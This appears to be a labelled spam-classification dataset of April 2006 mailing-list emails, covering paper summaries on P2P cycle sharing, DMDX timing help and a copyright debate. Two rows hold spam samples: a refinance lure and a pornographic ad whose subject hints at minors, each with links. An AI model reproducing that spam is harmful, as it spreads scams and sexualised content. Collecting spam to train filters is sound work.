much larger variation in the resources needed by particular jobs, making management, finding, and scheduling of resources more difficult. CCOF handles this via quizzing of hosts. Scheduling is handled by the Wave Scheduler, named because it follows the local nighttime around the globe continuously, tracking nodes via a CAN DHT. Nodes forward workload to a random neighbor in the next time zone, causing a surge of activity to the next time zone. Although the potential to donate cycles in exchange for access to a global supercomputer sounds promising, CCOF is not without certain shortcomings. Primarily, it is difficult for the average user to generate a task which can run in a manner that sees benefit from such a computing resource. Thus, it is difficult to see a strong personal computational benefit from participating in such a system. Also, the cause which I donate to is now less identifiable and less trustable. The systems primary method of scheduling relies on using nighttime cycles. I have difficulty believing that this accurately reflects the availability of resources. Also, the system mentions reliance on a centralized certificate authority to authenticate system members, making in not truly P2P. ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Tue, 25 Apr 2006 12:39:32 +0200",[DMDX] CR timing intelligence check,"I realize that timing issues are documented, but nevertheless I find myself with a nagging sense of insecurity that I am understanding them correctly. Could someone please check my understanding of the timing of the following item in a DMDX item file (which I have broken up here into ""lines"" and simplified): ### Psuedo Item file snipplet ### [line 1] +23 ""+"" / [line 2] ""+"" , ""O"" * / [line 3] ""+"" / [line 4] , ""+"" , "">>>>>"" ; Intentions: Display a ""+"" for 223 ticks [line 1] Display a ""+"" and superimposed ""O"" for 13 tics, start RT timer at beginning of frame [line 2] Display a ""+"" for 13 ticks [line 3] Display a ""+"" and "">>>>>"" for 106 ticks. Advance to next frame (item) on RT response or timeout elapsed frame event ticks duration ------------------------------------------------------- 1 223 display line 1 224 1 change frame 225 13 begin line 2, start timer 238 1 change frame 239 49 display line 3 288 1 change frame 289 13 display line 4 Thank you, Derek Note: The strange construction of: ""+"" , ""O"" from line 2 was discussed in the archives several years ago (http://psy1.psych.arizona.edu/cgi-bin/thread?message=660756). I don't remember why I found it necessary to do it that way, but it seemed necessary! ### actual item file snip ### 1000 ""+"" /; -1 ""+"" / ""+"" , ""O"" * / ""+"" / ""+"" , "">><>>"" ; -- Derek N. Eder SU/Sahlgrenska Utvecklingslab 1, Med Gröna stråket 8 SE 413 45 Göteborg (Gothenburg) Sverige (Sweden) +46 (031)* 342 8261 (28261 inom Sahlgrenska) +46 0709 721 283 (mobile) +46 (031) 25 97 07 (home) * omit the 0 when calling from outside Sweden personal web page: www.derek-eder.org",0,1 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Tue, 25 Apr 2006 12:46:44 +0200",[DMDX] CR timing intelligence check,"I realize that timing issues are documented, but nevertheless I find myself with a nagging sense of insecurity that I am understanding them correctly. Could someone please check my understanding of the timing of the following item in a DMDX item file (which I have broken up here into ""lines"" and simplified): ### Psuedo Item file snipplet ### [line 1] +23 ""+"" / [line 2] ""+"" , ""O"" * / [line 3] ""+"" / [line 4] , ""+"" , "">>>>>"" ; Intentions: Display a ""+"" for 223 ticks [line 1] Display a ""+"" and superimposed ""O"" for 13 tics, start RT timer at beginning of frame [line 2] Display a ""+"" for 13 ticks [line 3] Display a ""+"" and "">>>>>"" for 106 ticks. Advance to next frame (item) on RT response or timeout elapsed frame event ticks duration ------------------------------------------------------- 1 223 display line 1 224 1 change frame 225 13 begin line 2, start timer 238 1 change frame 239 49 display line 3 288 1 change frame 289 13 display line 4 Thank you, Derek Note: The strange construction of: ""+"" , ""O"" from line 2 was discussed in the archives several years ago (psy1.psych.arizona.edu/cgi-bin/thread?message=660756). I don't remember why I found it necessary to do it that way, but it seemed necessary! ### actual item file snip ### 1000 ""+"" /; -1 ""+"" / ""+"" , ""O"" * / ""+"" / ""+"" , "">><>>"" ; -- Derek N. Eder SU/Sahlgrenska Utvecklingslab 1, Med Gröna stråket 8 SE 413 45 Göteborg (Gothenburg) Sverige (Sweden) +46 (031)* 342 8261 (28261 inom Sahlgrenska) +46 0709 721 283 (mobile) +46 (031) 25 97 07 (home) * omit the 0 when calling from outside Sweden personal web page: derek-eder.org",0,0 Jan Rosen ,,,SV: [CNI-(C)] Re: [CNI-(C)] Re: TV ads break copyright law,"Again, it is beyond discussion that TV4 had regularly from its very start in the early 1990ies interrupted films shown on that channel. Whether it was in the form of a news break with ads or in other forms is not very interesting. Of legal substance in a droit moral context is that the directors in this case were of course aware of this when they gave their consent to TV4 to show their films and that they made no reservation whatsoever as to how the films could be shown. To focus on what should have been the core issue in this case, how and under what circumstances moral rights might be waived, a vital issue in everyday contracting, not least in broadcasting, would have let us uphold actual qualities of moral rights. The courts didn't do that, particularly not the Appeal Court. The outcome of the judgements so far just leaves us with a blurred picture. Authors, filmproducers and TV channels deserve more. Jan Rosen ________________________________ Från: CNI-COPYRIGHT -- Copyright & Intellectual Property genom Karl-Erik Tallmo Skickat: må 2006-04-24 17:45 Till: CNI-COPYRIGHT -- Copyright & Intellectual Property Ämne: [CNI-(C)] Re: [CNI-(C)] Re: TV ads break copyright law In addition to Mr Tallmo's remarks, it should thus be noticed, that TV4 had never under its 15 years existence shown a film without interrupting it, normally for a news program foregone and ended with a block of ads (a total break of some 30 minutes). [...] Jan Rosen I don't think this is correct. Channel 4 started broadcasting in 1990 but it was not until 1999 they began interrupting films and serials with what was to be coined ""fake programs"", short hints on books worth reading, info about coming programs, news items etc - all of that with ads attached. And this stirred up rather massive protests among viewers. At first this strategy was considered a violation of the agreement with the Government, and Channel 4 had to pay around 6 million SEK in fines for this offence. However, the Government proposed a change in the legislation in 2001 so this method to insert commercials in the middle of programs was to become legal. Critics say that the Government yielded to Channel 4's threat to move abroad with their broadcasting (that is outside of Swedish jurisdiction) and thus they could continue cashing in several hundred million SEK each year for the broadcasting license from Channel 4. Jan, weren't you, BTW, advisor to Channel 4 during this process? /Karl-Erik Tallmo _________________________________________________________________ KARL-ERIK TALLMO, writer, editor ARCHIVE: http://www.nisus.se/archive/artiklar.html BOOK: http://www.nisus.se/gorgias ANOTHER BOOK: http://www.copyrighthistory.com MAGAZINE: http://art-bin.com _________________________________________________________________ ########################################### This message has been scanned by F-Secure Anti-Virus for Microsoft Exchange. For more information, connect to http://www.f-secure.com/",0,1 Zeev Ronen ,'Alex Cheng' ,"Tue, 25 Apr 2006 13:33:24 +0200",FW: postions for postdocs in BGU,Dear Alex Could you distribute the links below for the salt net recipiant. Thank you very much Sincerely Zeev * Microbiologist - University (03/13/2006 09:12) Post-Doctoral position in biofauling development on membranes for water treatment. * Microbiologist - University (03/13/2006 09:13) Post-Doctoral position in biofauling development on membranes for water treatment. * Microbiologist - University (03/13/2006 09:16) Post-Doctoral position in biofauling development on membranes for water treatment. _______________________________________________ Zeev Ronen Dep. of Environmental Hydrology & Microbiology Zuckerberg Institute for Water Research Ben-Gurion University of the Negev Sede Boqer Campus 84990 Israel E-mail: zeevrone@bgu.ac.il Phone: (972) 8 6596985 Fax: (972) 8 6596909,0,1 ,,,Problem with html view of cmaps: links in connecting statements not usable,"Hi all, We encountered a bit of a problem: while you can add resources to connecting statements as well as concepts, in the html view only the concepts have usable links. The connecting statements show the link symbols, but they are not usable. Is this a bug, or are we doing something wrong? -- Tarmo Toikkanen - NP Solutions - tarmo@iki.fi - http://tarmo.fi/ ",0,1 Frank Ghigo ,bartel@yorku.ca,"Tue, 25 Apr 2006 09:23:48 -0400",Project BB223 at Green Bank,"VLBI project BB223, at 2270 MHz, with the VLBA, Arecibo, and the GBT, was completed. Everything seemed to be working ok. All scans were recorded. Phase cals were about 5%; Tsys about 25K. The weather was mostly clear. The last few scans, from 0644 to 0700 UT, appear to be marked as ""offsource"" in the log data, but the GBT was really onsource for those scans. Tapes VLBA0833 and DSCP0040 were shipped to Socorro yesterday. -- frank ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 Apr 2006 08:19:29 -0700",[DMDX] Re: CR timing intelligence check,"At 12:46 PM 4/25/2006 +0200, you wrote: >I realize that timing issues are documented, but nevertheless I >find myself with a nagging sense of insecurity that I am understanding >them correctly. > >Could someone please check my understanding of the timing of the >following item in a DMDX item file (which I have broken up here into >""lines"" and simplified): > > >### Psuedo Item file snipplet ### > 768 768 16 60> >[line 1] +23 ""+"" / >[line 2] ""+"" , ""O"" * / >[line 3] ""+"" / >[line 4] , ""+"" , "">>>>>"" ; > > >Intentions: > >Display a ""+"" for 223 ticks [line 1] >Display a ""+"" and superimposed ""O"" for 13 tics, start RT timer at >beginning of frame [line 2] >Display a ""+"" for 13 ticks [line 3] >Display a ""+"" and "">>>>>"" for 106 ticks. Advance to next frame (item) >on RT response or timeout No, the first and the won't count for anything as the comma frame delimiter will set that frames duration to 0 when it merges it with the next one. Frame durations of comma delimited sets of frames must be in the last frame. >elapsed frame event >ticks duration >------------------------------------------------------- >1 223 display line 1 >224 1 change frame >225 13 begin line 2, start timer >238 1 change frame >239 49 display line 3 >288 1 change frame >289 13 display line 4 There is no one tick delay between frames. >Thank you, > >Derek > > >Note: The strange construction of: ""+"" , ""O"" from >line 2 was discussed in the archives several years ago >(psy1.psych.arizona.edu/cgi-bin/thread?message=660756). >I don't remember why I found it necessary to do it that way, but it >seemed necessary! The comma frame delimiter is exactly equivalent to / . So your ""+"" , ""O"" is in actual fact ""+"" / ""O"" and the last switch is the one that DMDX uses. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ An elephant is a mouse built to Mil-spec.",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 08:56:28 -0400",PAPER 24,"Niranjan Sivakumar Cluster Computing on the Fly: P2P Scheduling of Idle Cycles in the Internet Cluster Computing on the Fly (CCOF) is a system that is designed to take advantage of idle CPU cycles of heterogeneous network members, The system provides a ""quizzing"" mechanism to determine trust levels of member nodes. CCOF also deals with scheduling at the local host level as well as coordinated scheduling across the network. Some incentives for fairness are considered, but the CCOF model assumes that members are generally ""donating"" cycles and thus do not necessarily care about cycle-cycle fairness. The proposed CCOF implementation is designed to run over CAN. The CAN network is partitioned into 24 sectors, one for each hour in the day. When nodes are ready to join the network, perhaps at night when the machine may generally be idle, it will select a node label in the zone corresponding to the current hour. An application will choose a subset of nodes to farm its workload out to. When a host leaves the overlay, there is a mechanism to transfer its state to a node that is available in the next zone. Results can be held in a CAN file system in the event that the application requesting results is offline at the time that work is completed and forwarded at a later time. One flaw seen in CCOF is that the authors have not yet dealt with issues relating to DoS attacks and the possibility of malicious users simply scheduling many meaningless tasks to reduce the efficiency of the system. They offload the difficulty of excluding untrusted nodes to the overlay network, but this has not always been dealt with effectively at that level. ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 09:13:10 -0400",PAPER 24,"SETI@home is a massively distributed cycle donation system where data collected by the Search for Extraterrestrial Intelligence project distributes ""work units"" to client systems which are computer users who donate their computers by installing the SETI@home screensaver. The goal is to identify a signal from an intelligent source by scanning frequency ranges and varying many other parameters. The dataset is very large (many frequencies over a long period of time must be considered), but consists of many independent ""work units"". These work units each are small (350KB) but require a great deal of computation (many parameter combinations must be considered). Clients request work units as cycles become available using an HTTP-like protocol from a centralized server. The work units are redundantly computed to verify results. If any positive result does come through an additional out-of-band scientific protocol exists to further verify the result. In this way SETI@home was able to utilize an average of 27.36TFLOPS. SETI@home is technically simple, reliable results are obtained through replicated computation, there is no trust measure. But SETI@home does introduce important social advances in public-cycle sharing. While incentives are not technically addressed by SETI@home, they do exist out-of-band. The client application acts as a screen-saver, visualizing result computation. While this may seem trival, developers have found that this is an important incentive for users. SETI@home also maintains a website with rankings of groups donating cycles by amount of cycles donated, so some accounting exists at the server. This incentive mechanism has been successfully attacked, but this poses no direct threat to result reliability (through redundant computation) or throughput. SETI@home is considered a wild success, however the infrastructure (technical and social) is single-purpose and cannot be harnessed by other researchers seeking to take advantage of the resources available to SETI@home. Every such @home project must develop its own infrastructure ( technical and social). Cluster Computing on the Fly is an architecture for cycle-sharing applications. in ""Cluster Computing on the Fly: ..."" Lo, Zappala, Zhou, Liu and Zhao begin to address some of the problems faced by such an architecture: scheduling, resource discovery, incentives, trust and security. Three classes of cycle-sharing applications are identified: infinite workpile applications where an infinite stream of independent work-units are available for client consumption (as in SETI@home), workpile applications with deadlines where work-units must be computed by a given deadline, tree-based search applications where clients interact to some degree to help produce and bound future work-units, and point-of-presence applications where client position in some space is important (e.g. for measurement studies of the internet). This paper goes on to present an the Wave Scheduling algorithm seeking to provide uninterrupted access to dedicated machines. These machines are organized in a CAN overlay organized by time-zone. hosts are elected for dedication by selecting the CAN zones which lie in the current off-time timezones (e.g. night-time). As time goes on some dedicated hosts are freed as their time-zone becomes on-time (e.g. 8:00am) and new hosts are elected when their zone becomes off-time (e.g. 5:00pm). In this way dedicated hosts are available to the scheduler without impact to the user (since his or her machine is unused during off-time). The SETI@home system seeks to solve a similar problem: utilize cycles while the user's machine is not needed. However, SETI@home does this without an overlay by using a screen-saver. It's not clear that an overlay is needed for such a system. Although the fact of having an overlay identify likely un-used machines is a nice property, this is not the main goal of Wave Scheduling. ",0,0 C A Ankerstein ,DMDX mailing list ,"Tue, 25 Apr 2006 18:09:05 +0100",[DMDX] when does reaction time recording start?,"Hi All, a student in our department wants to run a reaction time experiment in which people respond to audio stimuli. When are reaction times recorded in such cases---from the onset of the audio file or after the file has played? The audio stimuli she wants to use are single words. Thanks, Carrie Ankerstein -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: c.ankerstein@sheffield.ac.uk webpage: http://www.shef.ac.uk/hcs/staff/ankerstein ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 Apr 2006 10:13:14 -0700",[DMDX] Re: when does reaction time recording start?,"At 06:09 PM 4/25/2006 +0100, you wrote: >Hi All, > >a student in our department wants to run a reaction time experiment in which >people respond to audio stimuli. When are reaction times recorded in such >cases---from the onset of the audio file or after the file has played? The >audio stimuli she wants to use are single words. Depends on the frame's construction, if it's the default construction with no visual probe set then the clockon will be when the audio starts. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Flugg's Law: When you need to knock on wood is when you realize that the world is composed of vinyl, naugahyde and aluminum. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 11:33:08 -0400",PAPER 24,"Cluster Computing on the Fly presents and gives history on cycle-sharing applications. First, they go into the four broad categories: infinite workpile applications, workpiles with deadlines, tree-based search, and point-of-presence applications. Infinite workpile applications, like SETI@home, have a master-slave architecture that follows the standard server-client paradigm. The server sends out CPU-intensive work to be processed by the slaves, which reply with the result once it is computed. Workpiles with deadlines are similar to infinite workpiles but these have deadlines, usually measured in days or weeks. Tree-based applications have many server-client relationships: a child node is your client while your parent node is your master. The entire tree is a cycle-sharing structure. Finally point-of-presence applications consume few cycles but are present all over the place: they might try to try latency, bandwidth, or other things all over the physical internet. The goal of the paper's contribution, wave scheduling, is to help the infinite workpile effectively get cycles during the nighttime. The network is organized such that nodes are in the system if it is nighttime there, sharing their cycles with the community. It seems a bit odd that the authors only want cycles shared at night. While it might be a general trend that people don't use their computers at night, a lot of people probably leave them on during the day while they are at work and other times, detecting idleness might be a better goal here... ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 12:07:06 -0400",paper 24,"CLUSTER COMPUTING... deals with harnessing idle compute cycles throughout the Internet. this must include the following activities: overlay management for hosts distributing cycles,resource discovery within the overlay, application based scheduling,local scheduling and meta-level scheduling resource discovery becomes difficult when the resource(compute cycles) is perishable,cannot be shared and is dynamic. 4 search techniques were examined : expanding ring, advertisement based, random walk and rendezvous point. Rendezvous point performed better under light loads and outperformed others when message passing overheads were compared. the authors identify 4 classes of problems 1) infinite workpile applications that consume a huge amount of compute time under a master-slave model. no communication is required b/w slave nodes. 2) workpile applications with deadlines are deadline-driven but the compute cycles required are moderate. 3) tree based search applications require substantial compute cycles with loose coordination among subtasks. e.g. communicating a bound in a search tree 4) Point-of-Presence applications consume minimal cycles but require placement throughout the Internet. e.g. distributed monitoring applications. the authors suggest a wave scheduler which uses a CAN-based DHT. time zones are represented by a d-dimensional mesh. each zone represents a particular night zone. the joining node has the freedom to choose its night zone. when morning comes to a host node, it selects a new target night zone, randomly selects a node in that night zone for migration, and after negotiation the task is migrated to the new zone. results may be returned to the application or stored in the DHT file system and retrieved using DHT lookup. the trust value for each node is determined using a quizzing mechanism. this trust value is used to select a node for a particular task. ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 12:30:59 -0400",PAPER 24,"* This paper presents a P2P scheduling system that aims to utilize the available idle compute cycles throughout the Internet. It encompasses all activities, such as overlay construction, resource discovery, local scheduling, application-level scheduling as well as trust and fairness among peers, which are involved in the management of idle cycles. * OOCF differs from SETI@home in its 'automatic' scheduling of four classes of cycle-sharing systems: infinite workpile, deadline-driven workpile, tree-based search and point of presence, in an open environment.",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 13:00:57 -0400",PAPER 24,"Andrew Cunningham arc39 Cluster Computing on the Fly: P2P Scheduling of Idle Cycles in the Internet Virginia Lo, Daniel Zappala, Dayi Zhou, Yuhong Liu, and Shanyu Zhao This system seeks to harvest cycles from ordinary users in an open access, non-institutional environment. It encompasses all activities involved in the management of idle cycles -- overlay construction for hosts donating cycles, resource discovery within the overlay, application-based scheduling, local scheduling on the host node, and meta-level scheduling among a community of application-level schedulers. Four important classes of cycle sharing application are identified and given outlines of requirements -- workpile, workpile with deadlines, tree based search, and point-of-presence. They then describe the Wave Scheduler for workpile tasks that exploits the Earth's day-and-night nature to harvest idle cycles, and the Point of Presence scheduler to discover and schedule hosts that meet application-specific requirements for location, topology, and resources. What the paper does not present is a working system that implements these ideals, nor the specifics of task migration, which are of course application specific, but equally, the most important part of the system. What is covered is when and to where the migration must occur. This is useful and an elegant solution, but severely restricts the class of applications which can be run, namely, to those which can be easily migrated every twelve hours. Another restriction is that, while mention is made of security concerns, they are not truly addressed -- for a system intended to run application code, a user of this system has no guarantees about the safety of their system or the legitimacy of code, while the entity which provides the code has several guarantees, due to the quizzing subsystem. Thus the security model is flawed in several ways, since there is no incentive other than the purely altruistic one to run this system, but good reasons not to. ",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 09:54:24 -0700",PAPER 24," The CCOF system is designed to support the wide variety of applications which wish to take advantage of the spare cycles available on many computers. The authors have divided these applications into several different types, which require different scheduling algorithms. First, there are infinite workload applications, where there is a huge pile of data to be processed, and no set deadline for completion. Second, there are similar projects which wish to analyze large quantities of data, but have deadlines the data must be analyzed by. Third are tree-based search applications, which assign different sections of the problem to different slave nodes, which must communicate with each other to share new discoveries. Finally, there are point-of-presence applications, where not many CPU cycles are used, but the slave nodes should be scattered across the network. Schedulers for two of these types of projects are presented. For infinite workload applications, a wave scheduling protocol puts the nodes into a CAN-based DHT, where one of the dimensions is timezone, and then work is sent to those computers for which is it currently nighttime. For point-of-presence applications, a couple of possible schemes to elect leaders which will cover the network from the pool of slave nodes. Seti@Home is a system designed to distribute the cost of analyzing radio signals across a large number of computers with unused cycles. The amount of data which needs to be sent is small in comparison to the amount of analysis which is needed, making the bandwidth costs reasonable. -- Victoria Krafft ",0,0 Samuel Murray ,,,Re: [CNI-(C)] Artists Rights Society Asks Google to Remove Logo,"Doug Isenberg wrote: > ...demanded > Google remove a logo honoring Spanish surrealist painter Joan Miro... This is not the first time Google honours artists through their logo. Check what they did to Da Vinci, Van Gogh, Escher, Michelangelo, Picasso, Warhol, Mondriaan and Monet: http://www.jeroen.com/archive/2006/04/20/google_logo_joan_mhellip Samuel ",0,1 Sandra Padilla ,E-Reserves in Libraries Discussion List ,"Tue, 25 Apr 2006 09:41:45 -0600",DVDs stream(ing) on Docutek,"> > Hi, My apologies for not changing the subject line with the message below. I re-sent this email again. I will appreciate any feedback from anyone. Thanks again. >> Hello, >> >> Our library is investigating preliminaries for the possibility of >> loading >> DVDs in mp3, wav, wmv, rm, etc. format on Docutek for students to >> access. >> >> Has anyone done this before? If so can you share your experience >> with us? >> Give us your insight? >> >> What are the software, hardware, or other equipment/system >> requirements? >> Extra labor? >> Challenges or pros and cons? > > Copyright issues? > > >> Thank you for any information you can provide. >> >> Sandra V. Padilla >> Reserves Desk >> New Mexico State University >> Las Cruces, NM ",0,0 GA ,James Reserve Webcam User's List ,"Tue, 25 Apr 2006 16:18:27 -0700",Re: [JR-Webcams] Re: Nesting Activity,"I agree! I, too, have watched that little woodpecker all winter. Is there any chance he could find a mate to nest in one of these boxes? Or do they prefer natural cavities? And that little swallow is the BEST! Thanks to all who maintain these boxes and cams. G. Whetzel graciehillfarm@juno.com wrote: Much as I love the chickadees, I hope they'll leave some vacancies for the bluebirds and swallows! And I feel very bad for that poor little Nuttall's woodpecker when he decides to turn in tonight. I've watched him all winter long, checking almost every night to see which box he'd settled in for the evening. Seems me to he used three different boxes. I don't recall seeing those two feathers in box 8 until this afternoon. D.Clark in MO ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to To switch to the INDEX mode, E-mail to Send administrative queries to --------------------------------- New Yahoo! Messenger with Voice. Call regular phones from your PC and save big.",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 11:54:50 -0400",Paper 24," The paper, ""Cluster Computing on the Fly,"" presents architecture CCOF to use up the idle compute cycles in the internet. The authors first identify the four major classes of cycle-sharing applications, which include infinite workpile applications, workpile applications with deadlines, tree-based search application, and point-of-presence applications. CCOF support two classes of applications, workpile applications with deadlines and point of presence applications. The authors observe that the night time idle cycles are more likely to not be interrupted from users reclaiming their machines. Therefore, CCOF's Wave Scheduler uses a CAN-based DHT to assign nodes into different time-zone, and it assigns work to nodes in one of the night-time zone. The application can also store the results in the DHT when it is not online. Second, it verifies correctness of results by using two methods for quizzing hosts. It packets the quizzes into similar packet as the application code, and sends it from time to time. Or it includes short quizzes into the application code. The result of the quizzes can be used to compute trust of a host. Finally, it suggests a way to schedule nodes for Point-of-Presence applications by using CAN and Lee distances to elect leaders. ",0,0 Lori Chapman <15dawn@acis.com>,bgware-owner@lists.untroubled.org,"Tue, 25 Apr 2006 17:01:34 +0300",Refinance and save hundreds monthly!," Let the banks compete for your refinance or debt consolidation! No obligation. Just a quick form to fill out: http://www.dct-ii.com/form - Save hundreds off your monthly payment. - Programs for every credit situation. - Credit history is NOT a factor. __________________ To be taken out, go here ",1,1 Hongchuan Zhang ,DMDX@psy1.psych.arizona.edu,"Tue, 25 Apr 2006 17:12:33 -0700",[DMDX] timing on mwc,"Hi All, I am trying to set up an experiment with fake feedbacks, in which for 75% of trials subjects will get a positive feedback no matter what key pressed, and for the remaining 25% they will get negative feedbacks. There was also a too long feedback. The sample lines are like below: 1 <% 60> ""GO""/<% 60>/ m1## m2## mC## mW##; 999 d2 ""Time Out"" ; 991 d2 ""RIGHT"" ; 992 d2 ""WRONG"" ; =1000 *<% 30> g ""fix""/<% 87> g ""blank""/!; =1000 *<% 30> g ""fix""/<% 87> g ""blank""/!; +1 ~1 ~C *<% 30> g ""pic1""/<% 87> g ""blank""/!; -2 ~2 ~W *<% 30> g ""pic2""/<% 87> g ""blank""/!; =1000*<% 30> g ""fix""/<% 87> g ""blank""/!; =1000*<% 30> g ""fix""/<% 87> g ""blank""/!; Since I want to use this for fMRI, the timing of mwc is essential. First, the rcot showed that for items numbered 1000, the timing is perfect. However, for those items numbered 1&2, there are two more ticks. Are these two more ticks due to the d2 setting? Second, those fake feedbacks appeared with a very short duration, is there way to lengthen the duration? I tried using <%> key word, but failed. Hongchuan -------------------------------------------- Hongchuan Zhang, Ph.D Center for Human Development University of California, San Diego AP&M Annex, 9500 Gilman Drive, 0115 La Jolla, CA, 92093-0115 Tel: (858) 534-2342 FAX: (858) 534-2344 hczhang@ucsd.edu",0,0 ,,,Re: Modeling fluid turbulence with cellular automata,"Stan wrote (>): >>Yes. They do resemble molecular collisions underlying actual turbulence. >>Wolfram probably constructed the rules inspired by his intimate knowledge >>about the physics of molecular collions. > SS: This does seem remarkable to me! It implies that by modeling the >very lowest level interactions, you can obtain in the computer an emergence >of higher level interactions that mimic exactly the higher level >interactions given rise to by the lower level interactions in the actual >world. What is so surprising about this? To me this is no more surprising than the pine trees painted on walls of a temple (by some well-known Buddhist monk painter in Korea centuries ago) so realistically that they fooled birds (if not humans)to their death. The mechanisms of producing painted trees and real trees are vastly different, as are the mechanisms by which Wolfram produced turbulence on the computer screen and real turbulence is generated in flowing rivers. After your comments, I went back and examined the 5 rules (on p. 378 of Wolframs book, A New Kind of Science, 2002) more carefully and came away with the impression that these rules qualtitatively refelcted the laws of the conservation of momentum. In other words, these rules seem to capture some (but not all) aspects of the real laws of physics and are not totally arbitrary. Similar remaks can be made about the simpe rules or programs that reproduced the shapes of shells so realistically on p. 416 of the above book. >The reason that this seems incredible is that in the world, the >surrounding context is (a) the Big Bang and its sequelia, while in the >computer it is (b) the computer language in a particular operating system >in a particular kind of machine. The boundary conditions set by (b) could >not possibly be effectively similar to those set by (a) because they were >not designed to be. Perhaps all we need to do is to accept the hypothesis that, just as there are models that are sensitively dependent on initial conditions, so there may be models that are relatively insensitive to initial conditions. That is, just as we have ""sensitive dependence on initial conditions (SDIC)"" in deterministic chaos, we may have ""insensitive dependence on initial conditions (IDIC)"" as well. >The proof of that is that the results could be >duplicated in a different kind of machine using a different language. I >simply do not/will not believe it. I think Wolfram might have discovered the phenomenon of what we may refer to as ""insensitive dependence on initial conditions"" in his NKS. In fact he did discuss several examples of IDIC, although he did not call them as such. >So, what W has done seems to be to >understand his machine/language very well, then construct a program for >it that begins at the bottom AND IS DESIGNED to get to the right end at a >higher level. That's all just engineering. It is not exactly engineering, because most of the time Wolfram does not know in advance what he would get with a set of simple rules recursively applied n times, where n can be up to millions. This contrast with engineers who know exactly what they would get if their programs/blue prints are implemented even JUST ONCE in real world. With all the best. Sung _______________________ Sungchul Ji Rutgers University Piscataway, N.J. 08855 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 Apr 2006 18:17:24 -0700",[DMDX] Re: timing on mwc,"At 05:12 PM 4/25/2006 -0700, you wrote: >Hi All, > > I am trying to set up an experiment with fake feedbacks, in which for > 75% of trials subjects will get a positive feedback no matter what key > pressed, and for the remaining 25% they will get negative feedbacks. > There was also a too long feedback. The sample lines are like below: > > 1024,768,768,16,0> > >1 <% 60> ""GO""/<% 60>/ >m1## >m2## >mC## >mW##; > >999 d2 ""Time Out"" ; >991 d2 ""RIGHT"" ; >992 d2 ""WRONG"" ; > >=1000 *<% 30> g ""fix""/<% 87> g ""blank""/!; >=1000 *<% 30> g ""fix""/<% 87> g ""blank""/!; >+1 ~1 ~C *<% 30> g ""pic1""/<% 87> g ""blank""/!; >-2 ~2 ~W *<% 30> g ""pic2""/<% 87> g ""blank""/!; >=1000*<% 30> g ""fix""/<% 87> g ""blank""/!; >=1000*<% 30> g ""fix""/<% 87> g ""blank""/!; > > Since I want to use this for fMRI, the timing of mwc is essential. Then you sure don't want in your parameter line as that's just as fast as DMDX can go plus 2 ticks. It might work out to be 2 ticks if your machine is fast enough but there's no guaranteed timing with a delay of zero. > First, the rcot showed that for items numbered 1000, the timing is > perfect. However, for those items numbered 1&2, there are two more ticks. > Are these two more ticks due to the d2 setting? Not really, you're not asking for rigid timing so DMDX is at liberty to do as it pleases. > Second, those fake feedbacks appeared with a very short duration, is > there way to lengthen the duration? I tried using <%> key word, but failed. You will have to have another frame after the feedback, usually this will be a blank frame to erase the feedback. 999 d2 ""Time Out"" <% 30> / ; Note this will add another tick and above the time of the feedback. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ An elephant is a mouse built to Mil-spec.",0,0 Rory ,Cmaptools@ihmc.us,"Tue, 25 Apr 2006 13:29:49 -0400",nice Younggest Teenies in hard fuckingg.," Best cumshhots on best heavenly Girls. http://bigcountryonline.info/pwsimplya.htm?iSPhfd.fX,hj U_N_$_UU_B_S_C_R_l_B_E http://bigcountryonline.info ",1,1 ,,,Re: Temporal hierarchy as a tree of coincidence detectors (new),"Stan wrote (>): >>I do not bilieve that biology imposes order on chemistry. Rather biology >>results inevitably from the vast variety of material configurations >>afforded by chemistry and the selecting power of the environment. In >>other words, biology can be viewed as a coincidence detector (of >>conicidence detectors): >> >> ______________ >> Chemistry --- > | Organisms | >> | as | >> | Coincidence | ----- > Biology >> Physics -----> | Detectors | >> |______________| >> >> >> Figure A. Biology as the inevitable consequence of the coincidence >> between the right Chemsitry and the right Physics of the >> Environment. In other words, organisms can be viewed as >> coincidence detectors of the right Chemistry and the right >> Physics of the environment. > SS: This is not different from what I am saying, which is: given some >configurations of chemistry in a given suitable physical setting, biology >emerges. I agree. And the processes underlying the evolution of biology on this planet are more akin to Wolfram's recursively applied simple rules/programs than the physics-inspired engineering programs that sent humans to the moon. >What I add is that, once biology exists, it manipulates, >harnesses, utilizes chemical results in its own interests -- that is, I add >a top-down component of thought to the bottom-up one that you seem >satisfied with. I too admit of a top-down component (e.g., a Vietnamese monk burning hiself to death in a political protest in the late 1960's) but I think such an phenomenon is confined to specail, rare systems (such as disciplined Buddhist monks) and not universally occurecnes. In contrast, the bottom-up processes that I was discussing are all universal. Generalizing, then, I wonder if we can assert the following: ""Bottom-up is universal but top-down is local/specific."" (1) >Further, to be consistent, I assert that chemistry >harnesses physical posibilities in ITS interests. I disagree. Raw chemistry, without being associated with specific material structures, cannot harness nor constrain physics. Rather it is the other way round: Chemistry is a subbranch of physics in that it implements only a subset of the laws of physics. >However, the function >'harnessing' obviously increases in 